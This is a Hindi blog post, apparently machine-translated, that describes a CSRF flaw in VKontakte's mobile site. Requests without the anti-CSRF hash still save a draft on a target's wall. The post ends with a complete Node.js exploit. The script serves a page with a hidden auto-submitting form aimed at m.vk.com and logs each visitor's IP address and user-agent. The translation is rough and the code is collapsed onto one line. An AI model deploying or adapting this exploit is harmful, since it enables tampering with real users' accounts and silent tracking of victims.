🐜 💇🏽 🔄 उपयोगकर्ताओं को गुप्त संदेश छोड़ें और एजेंटों को चलाएं 🙆🏻 🏴 🕵🏻

प्रणाम, मेरे अच्छे दोस्त!

यह कमजोरियों, सीएसआरएफ हमलों और गुप्त एजेंटों पर एक और लेख के लिए समय है!
जल्दी करो, कट के नीचे गोता!

पहले, आइए विषय से थोड़ा दूर हटें।

क्लिकजैकिंग के बारे में अपने आखिरी लेख में, मैंने एक भेद्यता पर एक प्रस्तुति दी जो उस समय खुली नहीं थी। ठीक है, निश्चित रूप से, कुछ minuses बोले। ज्यादातर वीके कर्मचारियों से। मैं इस बारे में बोलना चाहूंगा: यह लेख सांकेतिक था, और चूंकि एक व्यक्ति को वास्तविक जीवन के उदाहरण सबसे अच्छे से याद हैं, इसलिए मैंने इस पर जोर दिया। किसी को यह पसंद नहीं आया। मैं माफी मांगता हूं, लेकिन मैं शोक करने के लिए मजबूर हो जाऊंगा। इस लेख में, हम फिर से वीसी भेद्यता पर स्पर्श करते हैं। लेकिन समय से पहले नाराज मत हो! यह एक गर्म क्रिसमस पोस्ट होगा :)

और एक और बात, फिर से विषय के बारे में नहीं, लेकिन अब भी आपको टैब बंद नहीं करना चाहिए और इंटरनेट पर सर्फिंग जारी रखना चाहिए! तथ्य यह है कि मैं बहुत सारी समस्याओं और खाली समय की कमी के साथ एक छात्र हूं। लेकिन जब मैं आईओएस 7.0 के लिए जेलब्रेक कर रहा था। * (हां, यह सही है) मुझे आईओएस 7 संस्करण में कुछ दिलचस्प कमजोरियां मिलीं। यह ठीक है, सिर्फ एक और मजेदार चीज है। मैं यह सब क्यों कर रहा हूँ: मैंने पद के लिए एक सर्वेक्षण संलग्न किया है जहाँ हैबर्सर्स तय करेंगे कि इन कमजोरियों पर लेखों की एक श्रृंखला शुरू की जाए या नहीं।

यही सब है, चलो आज की पोस्ट की अच्छाइयों पर चलते हैं!

एजेंटों की शारीरिक रचना को समझना

इसलिए, इस लेख में हम वीसी भेद्यता पर विचार करेंगे, जो हमें किसी भी अनुकूल उपयोगकर्ता दीवार पर एक मसौदा संदेश में एक संदेश / चित्र / लिंक / वीडियो / दस्तावेज़, आदि को एम्बेड करने की अनुमति देता है। हाँ, कम से कम सब एक साथ!
CSRF भेद्यता का उपयोग करना - आज की नायिका।

हम वीके में लॉग इन करते हैं और हमारी दीवार पर एक रिकॉर्ड बनाते समय सर्वर को प्रेषित डेटा को ट्रैक करते हैं।

VKontakte ने CSRF हमलों के खिलाफ सरल और प्रभावी सुरक्षा लागू की: हैश चर में एक विशेष रूप से उत्पन्न लाइन होती है, जो हर बार सर्वर द्वारा आपके अनुरोध को प्राप्त करने की जाँच की जाती है। ठीक है, ज़ाहिर है, अगर सर्वर पर चेक स्ट्रिंग हमारे भेजे गए स्ट्रिंग से मेल नहीं खाती है, तो अनुरोध संसाधित नहीं किया जाएगा। यह एक सीएसआरएफ टोकन के अलावा कुछ नहीं है।

लेकिन चलो एक मूर्ख परीक्षा लेते हैं और करते हैं! आइए एक अनुरोध भेजें जिसमें हैश चर नहीं है।

जैसा कि हम देख सकते हैं, संरक्षण ने सही तरीके से काम किया। अनुरोध संसाधित नहीं किया गया था। लेकिन छोड़ देना सिर्फ सादा बेवकूफी होगी।
हम एड्रेस बार में वीके के मोबाइल संस्करण की वेबसाइट दर्ज करेंगे और उस पर जाएँ। और हां, हम सिर्फ साइट के मोबाइल संस्करण में जाएंगे। क्या हमने कोई पासवर्ड दर्ज किया है? मुझे याद नहीं है। फिर क्या हुआ? चलो यह पता लगाने!

इस हिस्से में मैं गलत हो सकता हूं, अगर मैं गलत हूं तो कृपया सही करें।
पहले सफल प्राधिकरण में, वीके सर्वर उप-डोमेन पर एक कुकी सेट करता है।

इसलिए, कुकीज़ * .vk.com के लिए मान्य हैं

हम उपरोक्त कार्यों को करने का प्रयास करेंगे, लेकिन पहले से ही वीके मोबाइल साइट के साथ।
हम अपनी दीवार पर पाठ भेजते हैं।

हैश चर यहाँ है। चलो फिर से एक अनुरोध भेजने का प्रयास करें, लेकिन इसके बिना।

हम्म, सभी संकेतों से, हमारे अनुरोध को संसाधित नहीं किया गया था। उत्तर बताता है कि हमें दूसरे पृष्ठ पर जाने की आवश्यकता है, जाओ।

हां, हमारे कूबड़ की पुष्टि हो गई थी। भरोसा करें लेकिन सत्यापन करें!

जैसा कि हम देख सकते हैं, अनुरोध आंशिक रूप से संसाधित किया गया था। यानी हम रिकॉर्ड पोस्ट नहीं कर सके, लेकिन हमने ड्राफ्ट बचा लिया :)
काफी बचता है।

शोषण लेखन

if (!(process.argv[2] && process.argv[3] && process.argv[4] && process.argv[5])) { console.log('Usage: ' + process.argv[0] + ' ' + process.argv[1] + ' wallID picID Href-like-text message'); process.exit(1) }; var http = require('http'), payload = '<html>\n' + '<head>\n' + '<title>SenDey"s day! fil9 2014</title>\n' + '</head>\n' + '<body>\n' + '<center><img width="400" height="400" src="http://0day-4you.ru/uploads/posts/2012-02/1329918231_68217548_01.png"></img></center>\n' + // '<iframe name="sandbox" width="1" height="1"></iframe>\n' + // '<form method="POST" id="payload" target="sandbox">\n' + '<input type="hidden" name="attach1" value="' + process.argv[3].replace(/"/g, "") + '"> \n' +//picID '<input type="hidden" name="attach1_type" value="photo"> <!-- type of attach1 -->\n' + '<input type="hidden" name="attach2_type" value="share"> <!-- type of attach2 -->\n' + '<input type="hidden" name="url" value="http://' + process.argv[4].replace(/"/g, "") + '.sendey/"> \n' + //Href-like text. JFF '<input type="hidden" name="message" value="' + process.argv[5].replace(/"/g, "") + '">\n' + //message '</form>\n' + '<script>\n' + 'var payload = document.getElementById("payload");\n' + 'if(payload){\n' + 'var protocols = new Array("http","https");\n' + 'for(var i=0;i<=protocols.length-1;i++){\n' + //   'payload.action=protocols[i]+"://m.vk.com/wall' + process.argv[2].replace(/"/g, "") + '?act=post&from=profile";\n' + //target Wall 'payload.submit()};\n' + 'var newloc=function(){document.location="http://m.vk.com/wall' + process.argv[2].replace(/"/g, "") + '#wall"};\n' + //     'setTimeout("newloc()",1000)}\n' + //  .      Chrome '</script>\n' + '</body>\n' + '</html>\n'; http.createServer(function (rq, rs) { rs.writeHead(200, { 'Content-Type': 'text/html' }); console.log('----------------------------\n' + 'Url: ' + rq.url + '\n' + 'Ip: ' + rq.connection.remoteAddress + '\n' + 'User-agent: ' + rq.headers['user-agent'] + '\n' + '----------------------------\n'); rs.end(payload); }).listen(8080); //  0.0.0.0:8080

खैर, प्रदर्शन के बिना किस तरह का विस्फोट :)

http://www.youtube.com/watch?v=fPJ_dhNWhmE

मुझे आशा है कि आपको अच्छा लगा होगा। मैं आपको तुरंत मेरी सभी कमियों और त्रुटियों की रिपोर्ट करने के लिए कहता हूं, मैं उन्हें ठीक करने की कोशिश करूंगा।

उपयोगकर्ताओं को गुप्त संदेश छोड़ें और एजेंटों को चलाएं

एजेंटों की शारीरिक रचना को समझना

शोषण लेखन

More articles: